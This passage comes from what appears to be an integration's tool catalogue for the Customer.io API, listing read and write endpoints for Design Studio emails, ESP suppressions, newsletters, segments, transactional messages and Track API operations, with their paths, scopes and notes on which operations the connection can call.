automation is backfilling, and so on. GET /api/v1/customerio/v1/design_studio/emails/{id}/publish_status. Scopes: api. customerio_get_v1_design_studio_emails_by_id_render (read) — Returns email-ready HTML. Use this endpoint to inspect your compiled markup. Liquid tags are left intact—`{{customer.first_name}}` stays in the output as written. To evaluate liquid against real profile data instead, use Preview an email (/integrations/api/app/tag/design-studio-emails/previewEmail/). The render, preview, review, link, and publish endpoints share a rate limit of 5 requests per second per workspace. GET /api/v1/customerio/v1/design_studio/emails/{id}/render. Scopes: api. customerio_get_v1_design_studio_emails_by_id_review (read) — Checks an email's saved content for errors and suggests how to improve accessibility, styling, and more. This runs the same process as the *Review* panel in Design Studio (/messaging/design-studio/emails/qa-in-design-studio/) and returns a readiness score, a status per check, and how to fix issues. This endpoint reviews a single translation based on the `:id` you pass. Call this endpoint for each language variant to review each translation. Checks - `liquid` — Liquid syntax: broken tags, invalid filters, unclosed blocks. Does not report missing variables; use the preview endpoint (/integrations/api/app/tag/design-studio-emails/previewEmail/) with sample data to validate variable resolution. - `failed-components` — Custom components that fail to compile. Always `skipped` on the API; it's a browser-runtime-only signal. - `source` — Raw markup the editor stores, before liquid rendering. Checks for reserved internal HTML attributes, multiple root elements, and design-token clashes. - `links` — Broken URLs, validated over HTTP (capped at 100 links per review). - `images` — Broken image URLs and missing alt text (capped at 100 images per review). - `accessibility` — WCAG accessibility issues. - `spam` — SpamAssassin score. - `unsubscribe` — Presence of an unsubscribe link. - `implied-links` — Bare URLs or email addresses that should be wrapped in `
` tags. - `html-clip` — Gmail's 102 KB clipping threshold. - `preheader` — Preheader text presence and quality. The render, preview, review, link, and publish endpoints share a rate limit of 5 requests per second per workspace. GET /api/v1/customerio/v1/design_studio/emails/{id}/review. Scopes: api. customerio_get_v1_design_studio_emails_by_id_unpublished_changes (read) — Check whether a linked email, or any of its translations, has content changes that haven't been published yet. Use this to decide whether you need to publish before changes go live. Returns `false` for emails that aren't linked to a workflow or that have no pending changes. GET /api/v1/customerio/v1/design_studio/emails/{id}/unpublished_changes. Scopes: api. customerio_get_v1_design_studio_emails_by_id_versions (read) — Returns an email's saved versions, newest first. A version is a named checkpoint of the email's content and envelope. - Design Studio creates a version automatically every time you publish (/integrations/api/app/tag/design-studio-emails/publishEmail/) the email. - You can save a version manually with Save an email version (/integrations/api/app/tag/design-studio-emails/saveVersion/). Pass `start_date` to filter for versions created after a certain time. Or pass `start_date` and `end_date` together to filter for versions created in a certain time range. You can retrieve your email's UUID through List emails (/integrations/api/app/tag/design-studio-emails/listEmails/). If your email has language variants, *List emails* only returns the UUID for the default language. Use this default ID to retrieve variant IDs through List email translations (/integrations/api/app/tag/design-studio-emails/listEmailTranslations/). GET /api/v1/customerio/v1/design_studio/emails/{id}/versions. Scopes: api. customerio_get_v1_design_studio_emails_by_id_versions_by_version_id (read) — Returns a snapshot of the version's content including the code for any custom components referenced in the email (see `dependencies` for more). GET /api/v1/customerio/v1/design_studio/emails/{id}/versions/{version_id}. Scopes: api. customerio_get_v1_design_studio_folders (read) — Returns a paginated list of folders. This does not include files like emails, components, etc. GET /api/v1/customerio/v1/design_studio/folders. Scopes: api. customerio_get_v1_design_studio_folders_by_id (read) — Get a folder by its UUID. You can retrieve the UUID of folders through List folders (/integrations/api/app/tag/design-studio/listFolders/). GET /api/v1/customerio/v1/design_studio/folders/{id}. Scopes: api. customerio_get_v1_design_studio_inbox_previews_clients (read) — Returns the catalog of email clients and devices available for inbox previews (/messaging/design-studio/emails/qa-in-design-studio/#inbox-preview). Use the `id` values returned by this endpoint as `client_ids` when you send for an inbox preview (/integrations/api/app/tag/design-studio-emails/submitInboxPreview/). GET /api/v1/customerio/v1/design_studio/inbox_previews/clients. Scopes: api. customerio_get_v1_design_studio_inbox_previews_credits (read) — Returns your account's credit balance for inbox previews. Your credit balance determines how many previews you can generate in your account. Learn more about how inbox previews use credits (/accounts/billing/inbox-previews/). GET /api/v1/customerio/v1/design_studio/inbox_previews/credits. Scopes: api. customerio_get_v1_design_studio_inbox_previews_jobs (read) — Returns a paginated history of inbox preview jobs across your workspace, or for a single email when you pass `node_id`. Only lists runs recent enough for their screenshots to still be viewable—an older run won't appear here even though it still exists. GET /api/v1/customerio/v1/design_studio/inbox_previews/jobs. Scopes: api. customerio_get_v1_esp_domains_by_domain_name_suppression_by_suppression_type (read) — Find addresses suppressed by the Email Service Provider (ESP) for a particular reason on a specific sending domain. You can get up to 1000 addresses per request. Use the `start` parameter with the `next` value from the previous response to paginate through results. GET /api/v1/customerio/v1/esp/domains/{domain_name}/suppression/{suppression_type}. Scopes: api. customerio_get_v1_esp_search_suppression_by_email_address (read) — Look up an email address to learn if, and why, it was suppressed by the email service provider (ESP). GET /api/v1/customerio/v1/esp/search_suppression/{email_address}. Scopes: api. customerio_get_v1_esp_suppression_by_suppression_type (read) — Find addresses suppressed by the Email Service Provider (ESP) for a particular reason—bounces, blocks, spam reports, or invalid email addresses. You can get up to 1000 addresses per request. Use the `offset` parameter to get addresses beyond the first 1000. If you have multiple sending domains, we recommend querying for each domain separately, as an email address may be suppressed on multiple domains. Note: If you have a large number of suppressions, consider using the Get ESP-suppressed emails by domain (/integrations/api/app/tag/esp-suppression/getDomainSuppressionsByType/) endpoint. It's more performant for large datasets. GET /api/v1/customerio/v1/esp/suppression/{suppression_type}. Scopes: api. customerio_get_v1_exports (read) — Return a list of your exports. Exports are point-in-time people or automation metrics. GET /api/v1/customerio/v1/exports. Scopes: api. customerio_get_v1_exports_by_export_id (read) — Return information about a specific export. GET /api/v1/customerio/v1/exports/{export_id}. Scopes: api. customerio_get_v1_exports_by_export_id_download (read) — This endpoint returns a signed link to download an export. The link expires after 15 minutes. GET /api/v1/customerio/v1/exports/{export_id}/download. Scopes: api. customerio_get_v1_imports_by_import_id (read) — This endpoint returns information about an "import"—a CSV file containing a group of people or events you uploaded to using `v1/imports` endpoint. You can use this endpoint to check to status of imports, or find out how many rows you successfully imported from a CSV file. GET /api/v1/customerio/v1/imports/{import_id}. Scopes: api. customerio_get_v1_info_ip_addresses (read) — Returns a list of IP addresses that you need to allowlist if you're using a firewall or Custom SMTP (/journeys/channels/email/deliverability/custom-smtp/use-your-smtp-server) provider's IP access management settings to deny access to unknown IP addresses. These addresses apply to all message types and webhooks, except push notifications. GET /api/v1/customerio/v1/info/ip_addresses. Scopes: api. customerio_get_v1_live_notifications_by_instance_id (read) — Look up a live notification's current state, lifecycle timestamps, and the status of its most recent delivery. GET /api/v1/customerio/v1/live_notifications/{instance_id}. Scopes: api. customerio_get_v1_messages (read) — Return a list of deliveries, including metrics for each delivery, for messages in your workspace. The request body contains filters determining the deliveries you want to return information about. Use the `start_ts` and `end_ts` parameters to find messages within a time range. We limit your requests to 6 months. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return the most recent 6 months of deliveries. If `start_ts` is greater than 6-months before `end_ts`, we only send back 6 months of data. If only `end_ts` is specified, we return 6 months of data before this timestamp. If only `start_ts` is specified, we then set the `end_ts` to the current time and deliver 6 months of data prior to this timestamp. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/messages. Scopes: api. customerio_get_v1_messages_by_message_id (read) — Return a information about, and metrics for, a delivery—the instance of a message intended for an individual recipient person. GET /api/v1/customerio/v1/messages/{message_id}. Scopes: api. customerio_get_v1_messages_by_message_id_archived_message (read) — Returns the archived copy of a delivery, including the message body, recipient, and metrics. This endpoint is limited to 100 requests per day. GET /api/v1/customerio/v1/messages/{message_id}/archived_message. Scopes: api. customerio_get_v1_newsletters (read) — Returns a list of your one-time sends (referred to as "newsletters" in our APIs) and associated metadata. GET /api/v1/customerio/v1/newsletters. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id (read) — Returns metadata for an individual one-time send (referred to as a "newsletter" in our APIs). GET /api/v1/customerio/v1/newsletters/{newsletter_id}. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_contents (read) — Returns a one-time send's content variants (a one-time send is referred to as a "newsletter" in our APIs)—these are either different languages in a multi-language one-time send or A/B tests. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/contents. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_contents_by_content_id (read) — Returns information about a specific variant of a one-time send (referred to as a "newsletter" in our APIs), where a variant is either a language in a multi-language one-time send or a part of an A/B test. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/contents/{content_id}. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_contents_by_content_id_metrics (read) — Returns a metrics for an individual one-time send (referred to as a "newsletter" in our APIs) variant—either an individual language in a multi-language one-time send or a message in an A/B test. This endpoint returns metrics both in total and in `steps` (days, weeks, etc) over a `period` of time. Stepped `series` metrics are arranged from oldest to newest (i.e. the 0-index for any result is the oldest period/step). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/contents/{content_id}/metrics. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_contents_by_content_id_metrics_links (read) — Returns link click metrics for an individual one-time send (referred to as a "newsletter" in our APIs) variant—an individual language in a multi-language one-time send or a message in an A/B test. Unless you specify otherwise, the response contains data for the maximum period by days (45 days). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/contents/{content_id}/metrics/links. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_language_by_language (read) — Returns information about a specific language variant of a one-time send (referred to as a "newsletter" in our APIs). If it includes A/B tests, use Get a translation in a one-time send test group (/integrations/api/app/tag/newsletter-variants/getNewsletterVariantTranslationTest/). GET /api/v1/customerio/v1/newsletters/{newsletter_id}/language/{language}. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_messages (read) — Returns information about the "deliveries" (rendered messages) sent to your recipients for a specific one-time send (referred to as a "newsletter" in our APIs). Provide query parameters to refine the metrics you want to return. Use `start_ts` and `end_ts` to find messages within a time range. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return up to 6 months of results beginning with the first delivery generated from the one-time send. If your `start_ts` and `end_ts` range is more than 12 months, we'll return 12 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/messages. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_metrics (read) — Returns a list of metrics for an individual one-time send (referred to as a "newsletter" in our APIs) in `steps` (days, weeks, etc). We return metrics from oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/metrics. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_metrics_links (read) — Returns metrics for link clicks within a one-time send (referred to as a "newsletter" in our APIs), both in total and in `series` periods (days, weeks, etc). `series` metrics are ordered oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/metrics/links. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_test_group_by_test_group_id_language_by_language (read) — Returns information about a specific language variant of a one-time send (referred to as a "newsletter" in our APIs) in an A/B test group. You can retrieve `test_group_ids` from List a one-time send's A/B test groups (/integrations/api/app/tag/newsletter-variants/getNewsletterTestGroups/). GET /api/v1/customerio/v1/newsletters/{newsletter_id}/test_group/{test_group_id}/language/{language}. Scopes: api. customerio_get_v1_newsletters_by_newsletter_id_test_groups (read) — Returns information about each test group in a one-time send (referred to as a "newsletter" in our APIs), including content ids for each group. GET /api/v1/customerio/v1/newsletters/{newsletter_id}/test_groups. Scopes: api. customerio_get_v1_object_types (read) — Returns a list of object types in your system. Because each object type is an incrementing ID, you may need to use this endpoint to find the ID of the object type you want to query, create, or modify. GET /api/v1/customerio/v1/object_types. Scopes: api. customerio_get_v1_objects_by_object_type_id_by_object_id_attributes (read) — Get a list of attributes for an object. Attributes are things you know about an object—like an account name, billing date, etc. GET /api/v1/customerio/v1/objects/{object_type_id}/{object_id}/attributes. Scopes: api. customerio_get_v1_objects_by_object_type_id_by_object_id_relationships (read) — Get a list of people people related to an object. You can use the `start` parameter with the `next` property in responses to return pages of results. However, it's possible that you'll see duplicate entries across pages. If you want to export objects or relationships, you may want to use the export feature in our UI to return complete results. GET /api/v1/customerio/v1/objects/{object_type_id}/{object_id}/relationships. Scopes: api. customerio_get_v1_optouts (read) — Return a workspace-wide list of opt-outs across all channels. Each entry represents a person and the senders/channels (SMS or WhatsApp) they've opted out of. A person opts out of a specific sender on a specific channel—for example, a person can opt out of SMS messages from one sender number while continuing to receive messages from another. An entry's presence in the `optouts` array means the person is opted out of that sender/channel. Use the `from` parameter to filter for a specific sender. Use the `start` parameter with the `next` value from the previous response to paginate through results. Note: SMS sender values are stored normalized (trimmed and lowercased). For alphanumeric SMS senders and messaging-service SIDs, the response recovers the original casing from your workspace's Twilio sender identities. E.164 phone numbers are unaffected. GET /api/v1/customerio/v1/optouts. Scopes: api. customerio_get_v1_reporting_webhooks (read) — Return a list of all of your reporting webhooks. GET /api/v1/customerio/v1/reporting_webhooks. Scopes: api. customerio_get_v1_reporting_webhooks_by_webhook_id (read) — Returns information about a specific reporting webhook. GET /api/v1/customerio/v1/reporting_webhooks/{webhook_id}. Scopes: api. customerio_get_v1_segments (read) — Retrieve a list of all of your segments. GET /api/v1/customerio/v1/segments. Scopes: api. customerio_get_v1_segments_by_segment_id (read) — Return information about a segment. GET /api/v1/customerio/v1/segments/{segment_id}. Scopes: api. customerio_get_v1_segments_by_segment_id_customer_count (read) — Returns the membership count for a segment. GET /api/v1/customerio/v1/segments/{segment_id}/customer_count. Scopes: api. customerio_get_v1_segments_by_segment_id_membership (read) — Returns customers in a segment. This endpoint returns an array of `identifiers`; each object in the array represents a person and contains the identifier values allowed in your workspace. In general, we recommend that you use `identifiers` rather than `ids` to find people, because it provides more information. If your workspace does not use email as a unique identifier for people, `identifiers` does not contain `email` values. Go to your Workspace Settings (/accounts/workspaces#migrate-workspace) to find out which identifiers your workspace supports. The `ids` array only lists ID values for people in a segment; if your workspace uses both `email` and `id` as identifiers, it's possible that a member of your segment does not have an `id` value, resulting in an empty string in the `ids` array. GET /api/v1/customerio/v1/segments/{segment_id}/membership. Scopes: api. customerio_get_v1_segments_by_segment_id_used_by (read) — Use this endpoint to find out which automations and one-time sends use a segment. GET /api/v1/customerio/v1/segments/{segment_id}/used_by. Scopes: api. customerio_get_v1_sender_identities (read) — Returns a list of senders in your workspace. Senders are who your messages are "from". GET /api/v1/customerio/v1/sender_identities. Scopes: api. customerio_get_v1_sender_identities_by_sender_id (read) — Returns information about a specific sender. GET /api/v1/customerio/v1/sender_identities/{sender_id}. Scopes: api. customerio_get_v1_sender_identities_by_sender_id_used_by (read) — Returns lists of the automations and one-time sends that use a sender. GET /api/v1/customerio/v1/sender_identities/{sender_id}/used_by. Scopes: api. customerio_get_v1_snippets (read) — Returns a list of snippets in your workspace. Snippets are pieces of reusable content, like a common footer for your emails. GET /api/v1/customerio/v1/snippets. Scopes: api. customerio_get_v1_subscription_center_by_customer_id_token (read) — Generates a signed token and URL for a person's standalone subscription center page. The token is valid for 24 hours. Use the returned `url` to link people to a hosted subscription center page where they can manage their subscription preferences outside of a message. This is useful when you want to provide a direct link to the subscription center—for example, in your app's account settings or in a custom email. The `customer_id` path parameter is the person's identifier (e.g. an email address or customer ID) as it appears in Customer.io. The identifier must match an existing person in your workspace. GET /api/v1/customerio/v1/subscription_center/{customer_id}/token. Scopes: api. customerio_get_v1_subscription_channels (read) — Returns a list of subscription channels available in your workspace. Channels represent the delivery methods that people can subscribe to or unsubscribe from—email, SMS, push, etc. If you haven't set up channel options in your subscription center, this endpoint returns an empty array. GET /api/v1/customerio/v1/subscription_channels. Scopes: api. customerio_get_v1_subscription_topics (read) — Returns a list of subscription topics in your workspace. If there are no topics, it returns an empty array. GET /api/v1/customerio/v1/subscription_topics. Scopes: api. customerio_get_v1_transactional (read) — Returns a list of your transactional messages—the transactional IDs that you use to trigger an individual transactional delivery. This endpoint does not return information about deliveries (instances of a message sent to a person) themselves. GET /api/v1/customerio/v1/transactional. Scopes: api. customerio_get_v1_transactional_by_transactional_id (read) — Returns information about an individual transactional message. GET /api/v1/customerio/v1/transactional/{transactional_id}. Scopes: api. customerio_get_v1_transactional_by_transactional_id_contents (read) — Returns the content variants of a transactional message, where each variant represents a different language. GET /api/v1/customerio/v1/transactional/{transactional_id}/contents. Scopes: api. customerio_get_v1_transactional_by_transactional_id_contents_by_content_id (read) — Returns an individual translation variant of a transactional message, including the message content. To look up a translation by its language instead of its id, see Get a translation of a transactional message (/integrations/api/app/tag/transactional/getTransactionalVariant/). GET /api/v1/customerio/v1/transactional/{transactional_id}/contents/{content_id}. Scopes: api. customerio_get_v1_transactional_by_transactional_id_language_by_language (read) — Returns information about a translation of an individual transactional message, including the message content. To look up a translation by its id instead of its language, see Get a translation of a transactional by ID (/integrations/api/app/tag/transactional/getTransactionalTranslationById/). GET /api/v1/customerio/v1/transactional/{transactional_id}/language/{language}. Scopes: api. customerio_get_v1_transactional_by_transactional_id_messages (read) — Returns information about the deliveries (instances of messages sent to individual people) from a transactional message. Provide query parameters to refine the metrics you want to return. Use the `start_ts` and `end_ts` to find messages within a time range. If your request doesn't include `start_ts` and `end_ts` parameters, we'll return the most recent 6 months of messages. If your `start_ts` and `end_ts` range is more than 12 months, we'll return 12 months of data from the most recent timestamp in your request. Timestamps reflect when deliveries were created in our system, not when they were actually sent to recipients. There may be a delay between creation and sending. GET /api/v1/customerio/v1/transactional/{transactional_id}/messages. Scopes: api. customerio_get_v1_transactional_by_transactional_id_metrics (read) — Returns a list of metrics for a transactional message in `steps` (days, weeks, etc). We return metrics from oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/transactional/{transactional_id}/metrics. Scopes: api. customerio_get_v1_transactional_by_transactional_id_metrics_links (read) — Returns metrics for clicked links from a transactional message, both in total and in `series` periods (days, weeks, etc). `series` metrics are ordered oldest to newest (i.e. the 0-index for any result is the oldest step/period). You cannot request fewer than 2 steps of any period (2 hours, 2 days, 2 weeks, or 2 months). For instance, `?period=days&steps=1` means two days - the 48 hours before the API request was made. `?period=days&steps=0` returns the same as the maximum of the period - `?period=days&steps=45`. See the `steps` parameter below for the maximum count of each period. GET /api/v1/customerio/v1/transactional/{transactional_id}/metrics/links. Scopes: api. customerio_get_v1_workspaces (read) — Returns a list of workspaces in your account. GET /api/v1/customerio/v1/workspaces. Scopes: api. customerio_post_alias (write) — *You only need to use this method to support a few select destinations like Mixpanel.* The `alias` method reconciles identifiers in systems that don't automatically handle identity changes—like when a person graduates from an anonymous user to an identified user. For example, a person typically has an `anonymousId` until you identify them by `userId`. Most destinations will automatically associate data from the anonymous ID with the new user ID when you send an `identify` call. But a select few destinations, like Mixpanel (/integrations/data-out/connections/mixpanel/), won't! The `alias` call tells Mixpanel to represent the `anonymousId` with the new `userId`. If you need to use the `alias` call, you'll want to send it before you identify someone with a `userId`. If you use our web or server-side libraries, and you've already identified someone, we assume that this is the `userId` that you want to keep. Otherwise, you need to pass both the `previousId` and the `userId`. When you use our libraries, you'll typically only provide the `previousId` and `userId`. The libraries fill in the rest of the payload automatically. NOT CALLABLE with this integration: a Data Pipelines operation on cdp.customer.io, which needs a Data Pipelines source write key (or the workspace's Site ID + Track API Key pair, which that host also accepts) rather than the App API Key this connection holds. POST /api/v1/customerio/cdp/alias. Scopes: api. customerio_post_api_v1_customers_by_identifier_events (write) — Send an event associated with a person, referenced by the identifier in the path. There are three defined event `type` values: `page`, `screen` and `event`. Page and screen events represent website page views and mobile app screen views respectively; the `name` for these event types is intended to be the page or screen a person visited or viewed. Any other event, is given the `event` type. We automatically trim leading and trailing spaces from event names. Reserved Properties There are a few important values which, if sent with the events that trigger automations, will override your automation settings: * `from_address` * `recipient` * `reply_to` When using the Javascript snippet to track events, you must call the Behavioral Tracking API call after identifying the customer or the event will not associate with the customer’s profile. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/customers/{identifier}/events. Scopes: api. customerio_post_api_v1_customers_by_identifier_suppress (write) — Delete a customer profile and prevent the person's identifier(s) from being re-added to your workspace. Any future API calls or operations referencing the specified ID are ignored. If you suppress a person in a workspace that identifies people by *email or ID* and both identifiers are set, both the person's email and ID are suppressed.

 This API permanently deletes people

Suppressing a person way deletes their profile and suppresses the identifier you reference in the path of this call, preventing you from re-adding a person using the same identifier (until you unsuppress the identifier). You cannot recover a profile after you suppress it. In general, should use this API sparingly—for GDPR/CCPA requests, etc.

If you want to keep a record of a person but prevent them from receiving messages, you should set the person's unsubscribed attribute (or use other attributes to represent complex subscription preferences) instead.

. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/customers/{identifier}/suppress. Scopes: api. customerio_post_api_v1_customers_by_identifier_unsuppress (write) — Unsuppressing a profile allows you to add the customer back to Customer.io. If you unsuppress a person in a workspace that identifies people by *email or ID* and the suppressed person had both an email and ID, both the person's email and ID are unsuppressed. Unsuppressing a profile does not recreate the profile that you previously suppressed. Rather, it just makes the identifier available again. Identifying a person after unsuppressing them creates a new profile, with none of the history of the previously suppressed identifier. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/customers/{identifier}/unsuppress. Scopes: api. customerio_post_api_v1_events (write) — An anonymous event represents a person you haven't identified yet. When you identify a person, you can set their `anonymous_id` attribute. If event merging (https://fly.customer.io/workspaces/last/settings/merge_options) is turned on in your workspace, and the attribute matches the `anonymous_id` in one or more events that were logged within the last 30 days, we associate those events with the person. If you associate an event with a person within 72 hours of the timestamp on the event, you can trigger automations from the event. There are three possible event `type` values: `page`, `screen` and `event`. Page and screen events represent website page views and mobile app screen views respectively; the `name` for these event types is intended to be the page or screen a person visited or viewed. Any other event, is given the `event` type. Note: Avoid using names with leading or trailing spaces, because you can't reference event names with leading or trailing spaces in automations, etc. In workspaces created after September 21, 2021, we trim leading and trailing spaces from event names automatically to fix this issue. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/events. Scopes: api. customerio_post_api_v1_forms_by_form_id_submit (write) — Submit a form response. If Customer.io does not recognize the `form_id` we create a new form connection (found on the *Data & Integrations* > *Integrations* > *Forms* page). Form submissions with the same ID are treated as submissions from the same form. The `data` object _must_ contain at least one of `id` or `email` (depending on the identifiers supported in your workspace)—or a field that is mapped to one of these identifiers—to identify the form respondent. If the person who submitted the form does not already exist, we create them (like an identify (/integrations/api/track/tag/track-customers/identify/) request). Additional keys in the `data` object represent form fields and values from the form that a person submitted. By default, we map form fields in your request directly to attributes, e.g. if you have a form field called `first_name`, we map that field to the `first_name` attribute. NOTES: * You cannot disable fields that you send to this API. If you send a field (as `data`) to this API, we'll include it in the form submission. * If an identifier in your form is called something like `email_address` rather than `email` in your initial request, you'll receive a `400`, but we'll still add your form on the Data & Integrations > Integrations > Forms page. You can then re-map your `email_address` field to `email`, and your form will begin working normally. * Customer.io reserves `form_id`, `form_name`, `form_type`, `form_url`, and `form_url_param` keys. If your request includes these keys, Customer.io ignores them. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/forms/{form_id}/submit. Scopes: api. customerio_post_api_v1_merge_customers (write) — Merge two customer profiles together. The payload contains `primary` and `secondary` profile objects. The primary profile remains after the merge and the secondary is deleted. This operation is _not_ reversible. The primary profile must already exist in Customer.io for the merge operation to work. If the primary profile doesn't exist, your request won't do anything. If you perform requests concurrently or in rapid succession, you could create a race condition where the primary profile doesn't exist yet. For example, if you identify a person and send a request to this endpoint immediately, the primary profile might not exist when we process your merge request. The following information is merged into the primary profile from the secondary profile: * Attributes that are not set, or are empty, on the primary. * The most recent 30-days of event history. Events merged from the secondary person cannot trigger automations. * Manual segments that the primary person did not already belong to. * Message delivery history. * Automation journeys that the primary person has not entered. If the secondary person has started a journey that the primary person has not, the primary person continues on that automation journey after the merge. If the secondary person has completed journeys that the primary person has not, the primary person gains these historical journeys after the merge. This may be important for determining entry (or re-entry) criteria for subsequent automations, segments, etc. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/merge_customers. Scopes: api. customerio_post_api_v1_metrics (write) — This endpoint helps you report metrics from channels that aren't native to Customer.io or don't rely on our SDKs. When we deliver a message, we include a CIO-Delivery-ID header. This is the `delivery_id` in the payload. You can use it as a UTL and you can pass it as a UTM parameter in links, etc to track metrics when people click, convert, etc. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/metrics. Scopes: api. customerio_post_api_v1_push_events (write) — While this endpoint still works, you should take advantage of our universal metrics endpoint (/integrations/api/track/tag/track-events/metrics/). It supports channels besides push and lets you provide additional information with some metrics. Use this endpoint to report device-side push metrics—opened, converted, and delivered—back to Customer.io, so you can track the effectiveness of your push notifications. Customer.io has no way of knowing about these metrics, or associating metrics with a specific message, unless you report them back to us. When Customer.io delivers a push notification, we include `CIO-Delivery-ID` and `CIO-Delivery-Token` parameters. Reference these in your payload as the `delivery_id` and `device_id` respectively with the type of device-side `event` metric that you want to associate with your push notification and the person represented by the `device_id`. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/push/events. Scopes: api. customerio_post_api_v1_segments_by_segment_id_add_customers (write) — Add people to a manual segment by ID. You are limited to 1000 customer IDs per request. This endpoint lets you add people to manual segments, but a segment must exist before you can add people to it. You can create and find manual segments using the App API (/integrations/api/app/tag/segments/createManSegment/). When you call this API, you can pass an `id_type` query parameter determining the type of identifier you want to use, `id`, `email`, or `cio_id`; If you don't pass this parameter, it defaults to `id`. The request body always uses `ids`, even though it'll accept either IDs, emails, or `cio_id`s depending on the query parameter. Everybody in the payload must use the same kind of identifier; we'll ignore values in the `ids` array that don't match the `id_type` parameter. NOTE: You cannot add people to data-driven segments using the API. See our documentation on segments (/journeys/segmentation/segments) for more information about segments. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/segments/{segment_id}/add_customers. Scopes: api. customerio_post_api_v1_segments_by_segment_id_remove_customers (write) — You can remove users from a manual segment by ID. You are limited to 1000 customer IDs per request. This endpoint requires people to have `id` attributes. If your workspace does not use `id` as an identifier, or you have not assigned people `id` values, you cannot remove people from manual segments using the API. Our user interface does not have this limitation. You can remove people from manual segments through the UI as a part of an automation workflow. NOTE: You cannot remove people from data-driven segments using the API. See our documentation on segments (/journeys/segmentation/segments) for more information about segments. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v1/segments/{segment_id}/remove_customers. Scopes: api. customerio_post_api_v2_batch (write) — This endpoint lets you batch requests for different people and objects in a single request. Each object in your array represents an individual "entity" operation—it represents a change for a person, an object, or a delivery. You can mix types in this request; you are not limited to a batch containing only objects or only people. An "object" is a non-person entity that you want to associate with one or more people—like a company, an educational course that people enroll in, etc. Your batch request must be smaller than 500kb. Each of the requests within the batch must also be 32kb or smaller. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v2/batch. Scopes: api. customerio_post_api_v2_entity (write) — This endpoint lets you create, update, or delete a single person or object—including managing relationships between objects and people. An "object" is any kind of non-person entity that you want to associate with one or more people—like a company, an educational course that people signed up for, a product, etc. Your request must be smaller than 32kb. NOT CALLABLE with this integration: a Track API operation on track.customer.io, which needs a Site ID + Track API Key Basic pair rather than the App API Key this connection holds. POST /api/v1/customerio/api/v2/entity. Scopes: api. customerio_post_batch (write) — The batch method helps you send an array of `identify`, `group`, `track`, `page`, `screen`, and/or `alias` requests in a single call, so you don't have to send multiple requests. Our server-side sources use this method automatically to increase performance. Requests are limited to 500KB total per request and 32KB per call in the request. A top-level `context` object is the default for every call in the batch: we apply it to each call that doesn't include its own `context`. Set `integrations` on individual calls; a 